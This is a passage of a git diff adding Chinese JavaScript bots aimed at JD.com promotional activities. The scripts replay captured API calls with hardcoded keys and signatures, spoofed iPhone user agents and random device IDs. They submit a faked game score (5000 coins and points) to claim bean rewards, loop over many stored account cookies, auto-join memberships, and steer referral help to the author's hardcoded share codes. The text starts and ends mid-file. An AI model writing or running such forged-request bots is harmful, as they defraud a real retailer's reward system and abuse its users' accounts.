`https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewGoods","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + }else if(reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doadd(goodsNumId) { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"addCart","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + }else if(reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function dotree(goodsNumId) { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"treeCoin","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + + $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) + }else if(reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function dohelp(inviterNick) { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"61082e10fc24d61235301cd899e4ec5e","timestamp":1625033802865,"userId":10299171},"admJson":{"inviterNick":"${inviterNick}","missionType":"inviteFriend","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + console.log(data); + const reust = JSON.parse(data) + if(reust.errorCode == 200){ + if(reust.data.data.remark === `好友助力数量已达上限,无法为好友助力!`){ + $.oneCodeInfo.max = true; + }else{ + $.canHelp = false; + } + $.log(`${reust.data.data.remark}`) + }else if(reust.errorCode == 500) { + $.log(reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function dojoinMember(id) { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"b0cf8f20b85bca9b2698848ac1c573a5","timestamp":1625034782254,"userId":10299171},"admJson":{"goodsNumId":"${id}","missionType":"joinMember","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + $.log(`\n如果入会失败 请手动去入会\n`) + $.log(`${reust.data.data.remark}`) + }else if(reust.errorCode == 500) { + + $.log(reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function playgame() { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/SendCoin?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"3a4b12fe8d85b42c2f5defb8d642f043","timestamp":1625035211650,"userId":10299171},"admJson":{"coin":5000,"point":5000,"method":"/foodRunning/SendCoin","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + if(reust.data.data.enoughCoin == true){ + $.log(`刷分成功 刷金币成功${reust.data.data.point} 正在前往领取京豆`) + await ljd("jdRunningBox1") + await $.wait(3000) + await ljd("jdRunningBox2") + await $.wait(3000) + await ljd("jdRunningBox3") + }else if(reust.data.data.enoughCoin == false){ + $.log(`${reust.data.data.msg}`) + + } + + }else if(reust.errorCode == 500) { + + $.log(reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function ljd(awardId) { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/OpenBox?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"24068838e03a8c538424a146d0c49a27","timestamp":1625035590002,"userId":10299171},"admJson":{"awardId":"${awardId}","method":"/foodRunning/OpenBox","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + jdbean = reust.data.data.msg + $.log(`${reust.data.data.msg}`) + await showMsg() + + }else if(reust.errorCode == 500) { + + $.log(reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function showMsg() { + return new Promise(resolve => { + message += `\n${jdbean}\n`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +function duihuan() { + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/exchangeGoods?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"8bf72ff9ded8cc22cd9ec407165342e7","timestamp":1625093423768,"userId":10299171},"admJson":{"awardId":"${lsjdh}","method":"/foodRunning/exchangeGoods","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?lng=106.286832&lat=29.969274&sid=1c98c3013bd5808a5977e0f9d5f5272w&un_area=17_1458_1463_43894", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }} + $.post(options, async (err, resp, data) => { + try { + + const reust = JSON.parse(data) + + if(reust.errorCode == 200){ + + $.log(`${reust.data.data.msg}`) + }else if(reust.errorCode == 500) { + + $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lzdz1_bw.js b/backUp/jd_lzdz1_bw.js new file mode 100644 index 0000000..2255ebb --- /dev/null +++ b/backUp/jd_lzdz1_bw.js @@ -0,0 +1,536 @@ +/* +时尚宠粉趴 +https://lzdz1-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/13145?activityId=1ad06f0cb93e4928a894e3b984c2fa4b +**/ + +const $ = new Env("超店会员福利社"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz2_bw.json') + // if(authorCodeList === '404: Not Found'){ + // authorCodeList = [ + // '4c412298c8db40729fc1bd58ec7303a8', + // ] + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + console.log('更新ck'); + continue + } + authorCodeList = [ + '4c412298c8db40729fc1bd58ec7303a8', + '2adedd04268248169ca84452baf8cc2f', + '232bd57a88244e639bc918932ef2d54a', + 'd7b08eec1d644c61ab9d8d23b95cedaf', + 'd74b0422c29343c08b47e2dbccd73664', + '8f69476d09be48a8a9e2ec773673048b', + 'f1dedba4dce34b93aa5357358690669c', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = 'cfc218d9250d445a870b3c18b58b5475' + $.activityShopId = '1000015026' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await rush(); + await $.wait(1000) + console.log("重复执行一次,技术有限不知道为什么") + await rush(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + $.openStatusNum = 0 + await getFirstLZCK() + await getToken(); + await task('wxCommonInfo/getSystemConfigForNew', `activityId=${$.activityId}&activityType=99`, 1) + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力: "+$.authorCode) + await $.wait(1000) + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('fashion/recruit/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(1000) + await task('fashion/recruit/initOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}`) + if ($.activityContent) { + for(let i in $.openInfo){ + console.log($.openInfo[i]) + if(!$.openInfo[i]['openStatus']){ + console.log("加入会员: 